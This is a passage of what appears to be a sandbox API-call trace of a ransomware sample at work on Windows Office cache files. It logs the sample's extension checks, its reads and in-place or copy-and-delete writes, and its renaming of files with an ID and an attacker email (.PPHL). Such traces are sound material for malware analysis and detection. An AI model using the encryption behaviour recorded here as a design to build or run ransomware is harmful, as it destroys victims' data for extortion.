[0063.369] lstrlenW (lpString=".doc") returned 4 [0063.369] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.369] lstrlenW (lpString=".docx") returned 5 [0063.369] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.369] lstrlenW (lpString=".pdf") returned 4 [0063.369] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.369] lstrlenW (lpString=".xls") returned 4 [0063.369] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.369] lstrlenW (lpString=".xlsx") returned 5 [0063.369] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.369] lstrlenW (lpString=".ppt") returned 4 [0063.369] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString=".zip") returned 4 [0063.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.370] lstrlenW (lpString=".rar") returned 4 [0063.370] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.370] lstrlenW (lpString=".bz2") returned 4 [0063.370] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.370] lstrlenW (lpString=".7z") returned 3 [0063.370] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString=".dbf") returned 4 [0063.370] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString=".1cd") returned 4 [0063.370] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString=".jpg") returned 4 [0063.370] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.370] lstrlenW (lpString=".doc") returned 4 [0063.370] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.370] lstrlenW (lpString=".docx") returned 5 [0063.370] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.370] lstrlenW (lpString=".pdf") returned 4 [0063.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.370] lstrlenW (lpString=".xls") returned 4 [0063.371] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.371] lstrlenW (lpString=".xlsx") returned 5 [0063.371] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.371] lstrlenW (lpString=".ppt") returned 4 [0063.371] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.371] lstrlenW (lpString=".zip") returned 4 [0063.371] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.371] lstrlenW (lpString=".rar") returned 4 [0063.371] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.371] lstrlenW (lpString=".bz2") returned 4 [0063.371] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.371] lstrlenW (lpString=".7z") returned 3 [0063.371] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.371] lstrlenW (lpString=".dbf") returned 4 [0063.371] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.371] lstrlenW (lpString=".1cd") returned 4 [0063.371] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.371] lstrlenW (lpString=".jpg") returned 4 [0063.371] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.371] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0063.372] lstrlenW (lpString="OutlkLR.cab") returned 11 [0063.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.372] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=14819276) returned 1 [0063.372] CloseHandle (hObject=0x1ac) returned 1 [0063.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0063.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0063.372] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0063.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.373] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.374] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.374] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.616] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.617] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.663] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.663] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.663] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.813] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.813] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0063.827] SetEndOfFile (hFile=0x1ac) returned 1 [0063.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fd0 [0063.832] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.832] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.145] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.145] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.146] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.146] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.148] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fd0 | out: hHeap=0x5d0000) returned 1 [0064.148] CloseHandle (hObject=0x1ac) returned 1 [0068.879] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0068.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.879] lstrlenW (lpString=".doc") returned 4 [0068.879] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.879] lstrlenW (lpString=".docx") returned 5 [0068.879] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.879] lstrlenW (lpString=".pdf") returned 4 [0068.879] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.879] lstrlenW (lpString=".xls") returned 4 [0068.879] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.879] lstrlenW (lpString=".xlsx") returned 5 [0068.879] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.879] lstrlenW (lpString=".ppt") returned 4 [0068.879] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.879] lstrlenW (lpString=".zip") returned 4 [0068.879] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.879] lstrlenW (lpString=".rar") returned 4 [0068.879] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString=".bz2") returned 4 [0068.880] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.880] lstrlenW (lpString=".7z") returned 3 [0068.880] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString=".dbf") returned 4 [0068.880] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString=".1cd") returned 4 [0068.880] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString=".jpg") returned 4 [0068.880] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString=".doc") returned 4 [0068.880] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString=".docx") returned 5 [0068.880] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.880] lstrlenW (lpString=".pdf") returned 4 [0068.880] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString=".xls") returned 4 [0068.880] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString=".xlsx") returned 5 [0068.880] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.880] lstrlenW (lpString=".ppt") returned 4 [0068.880] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.880] lstrlenW (lpString=".zip") returned 4 [0068.880] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.880] lstrlenW (lpString=".rar") returned 4 [0068.881] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.881] lstrlenW (lpString=".bz2") returned 4 [0068.881] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.881] lstrlenW (lpString=".7z") returned 3 [0068.881] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.881] lstrlenW (lpString=".dbf") returned 4 [0068.881] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.881] lstrlenW (lpString=".1cd") returned 4 [0068.881] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0068.881] lstrlenW (lpString=".jpg") returned 4 [0068.881] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.881] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0068.881] lstrlenW (lpString="Proof.msi") returned 9 [0068.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0068.882] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=881152) returned 1 [0068.882] CloseHandle (hObject=0x1ac) returned 1 [0068.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0068.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0068.882] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.882] GetLastError () returned 0x0 [0068.882] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0068.908] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0069.124] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.124] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0069.125] SetEndOfFile (hFile=0x1e8) returned 1 [0069.125] CloseHandle (hObject=0x1e8) returned 1 [0069.135] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.135] SetEndOfFile (hFile=0x1ac) returned 1 [0069.145] CloseHandle (hObject=0x1ac) returned 1 [0069.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0069.146] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0069.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.146] lstrlenW (lpString=".doc") returned 4 [0069.146] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.146] lstrlenW (lpString=".docx") returned 5 [0069.146] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0069.146] lstrlenW (lpString=".pdf") returned 4 [0069.146] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.146] lstrlenW (lpString=".xls") returned 4 [0069.146] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.146] lstrlenW (lpString=".xlsx") returned 5 [0069.147] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0069.147] lstrlenW (lpString=".ppt") returned 4 [0069.147] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString=".zip") returned 4 [0069.147] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.147] lstrlenW (lpString=".rar") returned 4 [0069.147] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.147] lstrlenW (lpString=".bz2") returned 4 [0069.147] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.147] lstrlenW (lpString=".7z") returned 3 [0069.147] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString=".dbf") returned 4 [0069.147] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString=".1cd") returned 4 [0069.147] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString=".jpg") returned 4 [0069.147] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.147] lstrlenW (lpString=".doc") returned 4 [0069.147] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.147] lstrlenW (lpString=".docx") returned 5 [0069.148] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0069.148] lstrlenW (lpString=".pdf") returned 4 [0069.148] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.148] lstrlenW (lpString=".xls") returned 4 [0069.148] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.148] lstrlenW (lpString=".xlsx") returned 5 [0069.148] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0069.148] lstrlenW (lpString=".ppt") returned 4 [0069.148] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.148] lstrlenW (lpString=".zip") returned 4 [0069.148] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.148] lstrlenW (lpString=".rar") returned 4 [0069.148] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.148] lstrlenW (lpString=".bz2") returned 4 [0069.148] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.148] lstrlenW (lpString=".7z") returned 3 [0069.148] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.148] lstrlenW (lpString=".dbf") returned 4 [0069.148] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.148] lstrlenW (lpString=".1cd") returned 4 [0069.148] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0069.148] lstrlenW (lpString=".jpg") returned 4 [0069.149] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.149] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0069.149] lstrlenW (lpString="Proof.cab") returned 9 [0069.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0069.149] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=21064532) returned 1 [0069.149] CloseHandle (hObject=0x1ac) returned 1 [0069.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0069.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.150] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0069.465] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: 